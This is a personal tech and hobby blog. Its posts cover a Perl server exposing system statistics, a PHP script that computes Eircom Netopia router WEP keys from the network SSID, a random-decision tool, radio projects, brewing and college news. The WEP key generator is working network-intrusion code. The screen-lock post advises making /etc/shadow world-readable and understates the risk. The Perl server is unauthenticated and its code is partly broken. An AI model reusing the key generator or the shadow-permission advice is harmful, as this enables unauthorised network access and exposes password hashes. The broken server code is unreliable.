Tales of boredom and Perl – statServ.pl

I got a little bit bored a short while ago and decided I hadn’t written anything in Perl for quite some time, I wasn’t too sure of what to write so I decided to write a small; and very simple script to gather some server metrics for my home media server here.

I’d like to point out at this stage the Perl script I am about to present is short, simple and not tested for security issues so while it will probably work fine, I provide no warranty or indicate that it is fit for any purpose at all, what so ever.

I’ve gone back over the code in order to completely comment it so it should make perfect sense to someone with little to no programming experience, although it is so simple they are more than likely not required.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/perl
 
use Socket;
 
#global variables
my $port = shift || 9876;               #What port the app will listen on
my $protocol = getprotobyname('tcp');   #What protocol to use (tcp/udp)
my $client;
 
#Open a socket to listen for incoming connections
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "Cant open socket $!n";
#Set a flag on the socket to be reusable, I.E. when it's closed, it automatically re-opens.
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to reusable $!n";
#bind the socket to the port we want
bind(SOCKET, pack('Sn4x8', AF_INET, $port, "")) or die "Can't bind to port: $portn";
#Start listening
listen(SOCKET, 5) or die "Unable to listen on port $portn";
#Inform the user that the script is ready to accept connections
print "Server started on port $port";
#wait for a connection
while($client = accept(NET_SOCKET, SOCKET)) {
        #send the user the information we're looking for...
        print "Opening connection ---->;n";
        #The following block grabs all of the information to present to the socket
        my $statistics = "n";
        $statistics .= `cat /proc/cpuinfo`;                 #Take the output of /proc/cpuinfo
        $statistics .= "nnnn";
        $statistics .= `df -h`;                             #Get the free disk space.
        $statistics .= "nnnn";
        $statistics .= `who`;                               #See who is logged in.
        $statistics .= "nnnn";
        $statistics .= `ps x`;                              #Grab a copy of some of the processes
        $statistics .= "nnn";
        #Send the gathered information to the socket
        print NET_SOCKET "$statisticsn";
        #Close the socket
        close NET_SOCKET;
        print "Closing connection <----n";
} #Wait for more connections, keep going until the script is terminated.

The old Eircom security snafu…

A few years back there was a serious security mishap when a smart chap by the name of Kevin Devine reverse engineered a tool that was used to reset the Netopia brand of routers used by Eircom in Ireland to the factory default settings. This application conveniently showed how the WEP key was essentially generated from the MAC address.

When the details of this algorithm was released, I set forward and wrote a small PHP script that could ascertain the WEP key from the SSID of the network… after accomplishing this task I promptly set about forgetting it and moving on to other things that were equally forgettable… I’ve recently rediscovered the code I wrote and here it is…

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php 
 
/* 
EIRWEP.INC.PHP 
 
BACKGROUND: 
    EIRWEP.INC.PHP WAS WRITTEN BY STEVEN MOUGHAN FOR THE PHISHBONE.ORG GROUP ON 25TH & 26TH OF JUNE 08. 
    IT IS BASED ON DETAILS OF THE HASHING ALGORYTHM THAT WERE PUBLISHED BY KEVIN DEVINE. THE ORIGINAL 
    DETAILS AND SOURCE CODE OF THE EXPLOIT WERE AVAILABLE AT THE TIME OF WRITING FROM 
    HTTP://WEISS.U40.HOSTING.DIGIWEB.IE/NETOPIA/KEYGEN.HTML 
 
    STEVEN MOUGHAN OR HACKDEV.COM CLAIM NO CREDIT FOR THE DISCOVERY OF THIS EXPLOIT, ONLY FOR THIS FILE. 
 
DISCLAIMER: 
    THE AUTHOR, HOST OR DISTRIBUTER OF THIS TOOL WILL ACCEPT NO RESPONSIBILITY FOR MISS USE. 
    THIS SOFTWARE IS DESTRIBUTED AS A PENETRATION TESTING TOOL ONLY. IT IS NOT INTENDED FOR  
    USE IN ORDER TO GAIN UNAUTHORISED ACCESS INTO ANY NETWORK.  
 
USAGE: 
    INCLUDE EIRWEP.INC.PHP INTO ANY OTHER PHP SCRIPT AND CALL THE FUNCTION getKey() WITH THE 
    SSID ARGUMENT. THE SSID SHOULD CONTAIN ONLY 8 DIGITS, NO LETTERS, NO SYMBOLS. THE getKey 
    FUNCTION WILL RETURN AN ARRAY. THE ARRAY HAS THE FOLLOWING ENTRIES. 
 
    ARRAY['mac'] -> THE MAC ADDRESS OF THE ROUTER 
    ARRAY['ser'] -> THE SERIAL OF THE ROUTER 
    ARRAY['key'][0-3] -> WEP KEYS 1->4 
 
EXAMPLE: 
    <?php require('./eirwep.inc.php'); print_r getKey(12345678); ?> 
*/ 
 
    if(!function_exists('str_split')) { 
        function str_split($string, $split_length = 1) { 
            $array = explode("\r\n", chunk_split($string, $split_length)); 
            array_pop($array); 
            return $array; 
        } 
    } 
 
    function getKey($ssid) { 
        $digits = array("Zero","One","Two","Three","Four","Five","Six","Seven","Eight","Nine"); 
        $lyrics[0] = "Although your world wonders me, "; 
        $lyrics[1] = "with your superior cackling hen,"; 
        $lyrics[2] = "Your people I do not understand,"; 
        $lyrics[3] = "So to you I shall put an end and"; 
        $lyrics[4] = "You'll never hear surf music aga"; 
        $lyrics[5] = "Strange beautiful grassy green, "; 
        $lyrics[6] = "With your majestic silver seas, "; 
        $lyrics[7] = "Your mysterious mountains I wish"; 
 
        $ssid = octdec($ssid);         
        $retvar = ''; 
        $mac = $ssid ^ 4044; 
        $tmp = '000fcc' . dechex($mac); 
        $tmpa = str_split($tmp,2); 
        $tmp = "$tmpa[0]:$tmpa[1]:$tmpa[2]:$tmpa[3]:$tmpa[4]:$tmpa[5]"; 
        $tmp = strtoupper($tmp); 
        $retvar['mac'] = $tmp; 
        $serial = $mac + 16777216; 
        $retvar['ser'] = $serial; 
        $chars =str_split($serial); 
 
        for($i=0; $i<8;$i++) { 
            $text .= $digits[$chars[$i]]; 
        }//end for 
 
        for($i=0;$i<=7;$i++) { 
            $appended[$i] = $text . $lyrics[$i]; 
            $cipher .= sha1($appended[$i]);         
        }//end for 
 
        $tmp = str_split($cipher, 26); 
 
        for($i=0; $i<4; $i++) { 
            $retvar['key'][$i] = strtoupper($tmp[$i]); 
        } 
 
        return $retvar; 
    }//end function getKey 
?>

Using the universe to generate numbers…

I’ve often been stuck trying to make a decision, a pretty straight forward thing to do; in fact, I would say I do it often… but sometimes you just cant decide if it should be pizza or noodles, to work or play, all relatively simple decisions that can often be the most difficult to make.

After a while of going back and forward trying to decide what kind of take out food to eat with my girlfriend, and getting nowhere while I add; I made a decision to write some very simple software. I took a few moments to populate an array with the options, and generated a random integer using PHP’s rand() function with a limit of 0->count($options) and figured we would just order whatever the program told us to, relieving us of the simple decision that became oh so complicated.

Unfortunately there was a small problem, you see my girlfriend is in fact a girl; and when the program ran it gave us an answer, but alas it wasn’t the answer my girlfriend wanted and we resorted to running the program over and over until eventually it came back with the option that my missus really wanted, but wouldn’t make the call on.

So aside from a few wetware problems, the software was a success. In fact I amended it to make other decisions for me that my feeble mind deemed too important. I wouldn’t rely on it for making any important decisions, but it’s fine for the occasional surprising mental blocks I’ve known to accept as part of my minds inner workings.

I played around then on Google, looking for other random decision generators and found quite a few, but then I remembered something from a few years back… Random.org. I had played with it before on a few occasions when I wanted to generate random numbers for various tasks and recalled it having a very simple web based interface that can be called from within PHP and with that, the idea of Decidinator was born.

Decidinator is a simple PHP script I wrote that allows you to enter a question, and up to ten possible answers, it then uses Random.org to generate random numbers that will determine the outcome. If it sounds like overkill now, just wait until you find out how they generate their random numbers…

The Random.org service provides a whole plethora of options for generating random outcomes, entirely based on the background radiation of the universe as a whole. As particles of space dust float around and crash into each other, some will electromagnetic pulses as radio waves; as gases get ionized by the sun and other stars, they will also generate radio interference; just think of what all of that noise is when you tune your radio in between the stations and listen to the “static”… They take all of this and use it to generate random numbers.

There you have it, my little script to make little decisions for me as to what to put in my big mouth is now not only a little bit overkill; it’s awesome. The next time you have to make a simple decision of what to eat or what film to watch, why not leave it to chance and Ask the Universe?

Money, advertising and the changes to come…

A few minutes ago I was reading about various different ways and methods of monetizing websites such as, well; blogs like this one… one thing that really stood out to me is that content is king, the more regular the better… but first, let me give you somewhat of a back story to my reasoning and mentality when it comes to “making money online” and other such trendy topics… It should probably be noted that my views on advertisements are not directly related to this site, but rather to other sites that I visit.

I am a student, and a full time student at that. If history is anything to go by, students are generally regarded as being flat broke the majority of the time; and my case is certainly no different than the historical average. I went to college before too, although I was in a slightly better position then as I am now… for one I had a job, I also lived with my parents and made a token contribution to the household income every week. Now I live alone out in the big bad world and I am currently jobless, so as things go; I’m pretty broke.

In general, I dislike advertisements. Especially those stupid flash advertisements that you see around the place that automatically play a video… at full volume… Contextual advertisements that are on topic to the content you’re viewing aren’t as bad providing they don’t interfere with the content you’re trying to view and are relatively sparse, well laid out and generally that little bit inconspicuous.

I don’t really mind affiliate links to products, in fact I’ve used them myself here when I wrote a small review of a book on Linux Firewalls. My reasoning behind them, and not minding them terribly much is that in general, the links are precisely related to the content you are interested in; and more than likely if you are interested in the content, you will be equally likely to be interested in the product on offer. Now this is where my indifference to this type of advertisement and revenue generation really gets set in, the affiliate links do not interrupt your viewing of the content; it does not cost you any more to purchase a product through the link, and it does not (generally) interrupt the flow of the website in question.

With all that said, it can (and often is) taken to extremes where people go absolutely mad placing advertising in every conceivable location on a web page and not only does it destroy the visuals of the website and make the content difficult to read, it will agitate the readers to the point of them just closing the page down and going somewhere else for their information.

As someone who could arguably be called a “content creator” or “content provider”, I too rely on advertising to cover my costs and I’ll be quite honest here… the cost of running this website, and all of my other ones; is not very high at all. It costs around €10 a month in hosting for my low end VPS, and around another €10 per domain name. I don’t buy domain names without the intention of developing them into something, a game, a tool, a blog, anything… as long as there is content there that people want. If I buy a domain name, and lose interest in the project, I don’t try and sell it for an astronomical price, I just let it expire and move on to the next project; but having said that none of my websites have generated a profit or even broke even. Admittedly however, I haven’t tried all that hard.

Here is where the trying begins, as much as I would like to work in IT/Computing/Engineering/Development, there just aren’t that many job openings that are willing to take on candidates that don’t already have their degree, and much less of those are willing to take people on in a part-time position (last time I checked, it was exactly zero). So not only would it be nice to generate a little bit of extra income from the blogs and websites and so on that I produce, pretty soon it’s going to become a necessity if I want to stay in college and you know… eat.

I’m going to have to try and really generate some income from this “hobby” and that means that I am going to have to adopt advertising to a greater extent, and to employ the use of affiliate links to bring some sort of a revenue stream on line. No, I’m not going to fill the pages full of advertisements, and no; I’m not going to start using those evil flash thingies that I hate oh so much, but rather I am going to try and produce more content, more regularly, integrating context based advertisements and affiliate links and potentially expanding upon my network of interests and interesting topics; spread myself around a bit as it were.

So what does this mean for the future of HackDev.com? Not a whole lot really… there will be some changes, but none of them will be major, a few layout tweaks here, some search engine optimization there, possibly a new advertisement popping up or some related affiliate links to products that I find helpful, useful or fun… that’s about it really.

If you’ve read the whole post up to here, I would really appreciate it if you could give me your opinion on the matter, what would you do in the same situation? I’m certainly not looking to get rich doing this, but rather as a hobby that is currently costing me money I would like to to become at least self sufficient… if it was to make some additional money, that would be great too; but I’m not expecting it.

What is your opinion on advertising on websites? Have I made a terrible decision in deciding to adopt a more revenue generating approach? The content will still be there, unhindered by the changes, but will the advertisements and affiliate links put you off visiting the website? Let me know in the comments section and I will amend my plan based on what the general consensus is, as long as it’s practical.

Double Post Sunday – Ubuntu Screen Lock Problems

I’ve recently been using my laptop more frequently, on which I have the latest stable release of Ubuntu installed. I’ve come across a bug I find found to be quite annoying…

When the screen lock became active, regardless of weather or not you entered the correct password to unlock the screen; the screen would remain locked. The temporary fix for this was to select “Switch User” and log in again as the same user, which would restore your session to the last state, however this is naturally slower than just entering your password and having the screen unlock…

After a little bit of searching I found this is the result of incorrect permissions being set on /etc/shadow, the only problem I found with this is that I never changed (nor would I normally have any reason to) the permissions on the /etc/shadow file, there is however a bug logged against this in the Ubuntu bugtracker, although I seem to have lost the link to it for now, if I come across it again I will post an update.

One of the fixes mentioned for resolving this was to chown root:shadow /etc/shadow and to chmod g=r,u=r /etc/shadow however this did not work for me either, my solution was to chmod 644 /etc/shadow instead. I’m not quite sure why user and group read privileges are not sufficient for the screen lock to operate correctly but the additional permissions I have allowed are read privileges to ‘nobody’ (which might not be such a great idea from a security point of view… user enumeration and the like) and to leave read and write privileges to the root user which isn’t really a problem, and should probably be encouraged.

Anyways, it worked for me but your mileage my vary. If you find yourself in the same situation as I was in, I hope this can help you get out of a very annoying situation. Also, one final tip that not everyone may know is the use of the ctrl+alt+l shortcut keys to initiate the screen lock without digging through menu’s or waiting for the timeout.

Digimode Audio Interface

I have been looking for suitable, cheap audio isolation transformers and while reading about them and looking them up, I came across a few digimode radio interfaces; some isolated, others not so much… All in all though, they do provide access to an interesting operating mode with ‘commodity’ transceivers (ie. ones that don’t natively support digital modes of operation).

The one that really caught my eye was the “USBlink” presented by G4ILO which combines the use of a cheap USB sound card, and some transistors working as an amplifier and a switch in order to provide VOX circuitry for PTT (push-to-talk) operation without the requirement for a serial or USB switching interface.

The real benefit of this circuit may not be immediately apparent for someone who does not have an interest in radio, or even for someone who is just beginning in radio as a hobby; as was the case with me. This circuit would allow a would be operator to run a “radio gateway” for use with the Free Radio Network, EchoLink or any of the various other radio-internet-radio systems without the need for too much work or additional cost. I feel cost is also something worth mentioning here as the total cost of the project in my case is, well… free… all of the parts required to complete this circuit I had available in my parts bin. If I did have to purchase them, even in small quantity volumes, the cost would be significantly less than that of a commercial one, a ballpark figure I’ve just made up off the top of my head is around €3 in components, another €3 in connectors, around €5 for the enclosure, and the USB cards vary in price depending on where you get them, but can generally be had for less than €5 delivered.

All in all, I have put all of my parts together into what I like to call a “project bag”, which is just a bag of parts that I’ve labeled and ear marked for a specific project and will proceed to make it when I can come up with a stripboard layout I find to be both efficient and appealing in both size and operation.

I will post and update when I have the unit constructed and in some sort of working form. As I am not currently licensed, I will not be able to gauge how appropriate it is for digital transmissions, however I will be able to review how it works as a FRN gateway interface.

Amateur and radio in general

It’s been quite some time since the last update I’ve made here, and every time I mention it I say I’ll fix it and never seem to do so; but that is the plan and some day I will stick to it!

I’ve recently rekindled my interest in radio, both transmitting and receiving; as such I’ve set up my old CB Radio, a Cobra 29 WX NW ST which is an AM 4 watt 40 channel unit, I’ve also dug out my PMR-446 equipment and my scanners…

It’s good fun tuning up and down the airwaves, getting some use out of my license free equipment and toying around with various projects. I’ve even gone as far as getting the training material from the IRTS who manage the testing and qualification for amateur radio in Ireland, so it is definitely on the cards for me to go ahead and get my amateur license so I have more of the band to call my home!

With that said, I have made some contacts with other like minded individuals using the Free Radio Network Client and I am regularly active on the 446 Muppets server under the callsign EI024, which is available on 001.446muppets.co.uk port 10025 if you fancy popping on and having a chin wag!

As college is finished for the summer, I have a lot more time to indulge in my hobbies and what better than to set myself a few projects to complete over the summer holidays, the majority of these projects will have a radio type theme to them but here’s my list so far…

  • Isolated audio interface for receiving digital modes and decoding them on the PC.
  • 13.8v 5A DC power supply for running various bits of radio equipment.
  • A new (old) computer, I already have some Mini-ITX boards and so forth, so getting one of those set up in a nice case and doing an install of Ubuntu, dedicating that machine for radio applications.
  • A few antennae for various digital receiving modes, namely ACARS and SSTV.
  • Adding a discriminator tap to my scanners.
  • A 30Mhz Low Pass Filter for use on the RF-OUT of my CB Radio in order to eliminate TVI when broadcasting.

So there you have it, thats pretty much what I’ve been up to since I’ve finished college for the summer, I’ll keep you posted on the various projects and my learning as they progress.

I’ve been slacking off…

I really should get into the habit of updating this site more often, but a few things have been conspiring against me; mostly laziness and lack of motivation to be fair, but there have been some other real-life instances distracting me from my goal of world domination, err, I meant regular blogging.

I have been working on renovating my house to some extent, adding additional insulation to the rooms that need it whilst giving it a good clearing out… one skip rental and two trips to the dump have done quite a bit to help me along in this challenge, but there is still more to do… much, much more.

I got accepted into college and have completed my first semester of study! That is a fairly big time vampire alright, but it is very enjoyable. I’m currently studying computing, but will select a more specific area after my second semester… I’ll definitely be going for software development as the primary role in this.

I’ve been working on building up my brewery and brewing skills so that I can make lots and lots of delicious beers of all types and strengths, in fact my one and only new years (beers) resolution is to do at lease one brew a month, which at the end of the year if followed through will see me producing 60 gallons of beer. Good thing I’ve been buying in bulk and picked up a few more kegs!

Being ready for many eventualities is now also higher on my list of objectives as last year alone we had heavy snow that practically stopped the country, and quite serious flooding. Since I live alone I have become more aware that I will require food stores and basic necessities on hand should I be unable to move around too easily.

With a new year bringing along new challenges and opportunities, I intend to be ready for all of it and to take it on with a deep, hearty evil laugh!

Custom Fermentation Controller

I have started work on my custom fermentation controller using peltier based thermo-electric elements. If you don’t know what that is, there is a good article available on wikipedia.

The benefit I will find is that for the (hopefully) short durations that the peltier will need to run, it will be more efficient than just running a fridge through an ATC. The only moving parts will be two cheap computer fans, so it should be cheaper to maintain should something break. It also means that the unit can be built to my exact requirements, which is always a bonus.

The unit it’s self will be a double ply wooden box with a full front door for inserting/removing the fermenting vessel. The box will most likely be made from 2×4′s, plywood (probably OSB on the inside), and a load of insulation. My basic idea is to build a frame out of 2×4′s, fit the internal paneling; fill the crevice with fiberglass, rockwool or polystyrene, and then fit the outer panels. The inside will most likely be sealed with a wood sealant, and then have the joints smeared with caulk, and then coated with a plastic resin coating. This will allow for restricted movement of air (like a fridge) and for waterproofing.

Electronically, the peltier element can both heat and cool by reversing the polarity on the cables. I have purchased almost all of the electronics for this (and some nice new tools :) ) and I’m just waiting on delivery. In it’s most basic sense, the peltier will be in one of three states, heating, cooling, or off. This will be accomplished using a H-Bridge setup built from FET’s (think of them as switches). If you would like more information on H-Bridges you can find some good information here.

The unit will also have a 4 digit LED 7 Segment display, a few LED’s, a few buttons for configuration, a buzzer for an alarm, and will probably be powered from a hacked computer PSU.

I have some of the parts I need here, and I have begun development and testing on them. Unfortunately, I don’t have the peltiers themselves, or the heatsinks for them, or the display, I do have a temperature sensor, but it is not the correct one. As such, I have been using a serial console and some LED’s to monitor the states.

Within the software, I have it set up such that a minimum and a maximum temperature can be specified. In addition to this, an alarm temperature can also be specified, in such that if the current temperature exceeds the minimum or the maximum by this value, an alarm sounds.

I think I’m babbling a little now….

Here’s what it does so far:
The unit powers up, and retrieves the user specified minimum, maximum and differential temperatures from memory (EEPROM).
The unit then measures the current temperature, and will activate the respective heating or cooling logic based on the current temperature (or do nothing if it is within bounds).
If the temperature is above or below the min/max temperature by the differential, it will sound off 3 beeps and continue to take corrective measures.
If the differential is set to 0, it will not sound the alarm.

There is also functionality to store the users parameters persistently between sessions.

Here’s what I have to make it do:
Display the current temperature on the display (which I don’t have yet).
Provide a configuration menu for the user to input the min/max/dif temperatures.
Provide a configuration menu for the user to input the cycle time and jitter time (explained below).
Port it from the development platform (Arduino) to a bog-standard microcontroller (PIC or AVR, or MSP430).
Design & Test the H-Bridge Circuitry.
Get some circuit boards made :)

The cycle time is the delay the system pauses for at the end of each cycle, realistically this code could run thousands of times a second, and there is no need. So rather than do that and waste power, the circuit will sample every X number of seconds. (Currently hard set to 1 second)

The jitter time (or dampening time for you engineers!) is when the system changes state from heating to idle, idle to heating, idle to cooling, or cooling to idle. Ideally, this delay should be slightly longer than the normal cycle time to allow for some measurable change to take effect. This will also cut out on a temperature being a point of a degree off, activating another state, then deactivating the state almost straight away, and ending up being a point of a degree out again a second later. (Currently hard set to 5 seconds).

Are there any other features that you think I should implement? It will be easier to do now than when I have it all done and have to rework code to add a new feature…

Just Applied…

I’ve just applied to go back to college! I can’t wait to see if I get accepted, I really really hope I do. I have applied to go back and study computer science and finally go get the degree I have been missing my whole life.

I don’t really know what else to say on the matter :- kind of a short post so!

I’ll let you know how I get on, fingers crossed!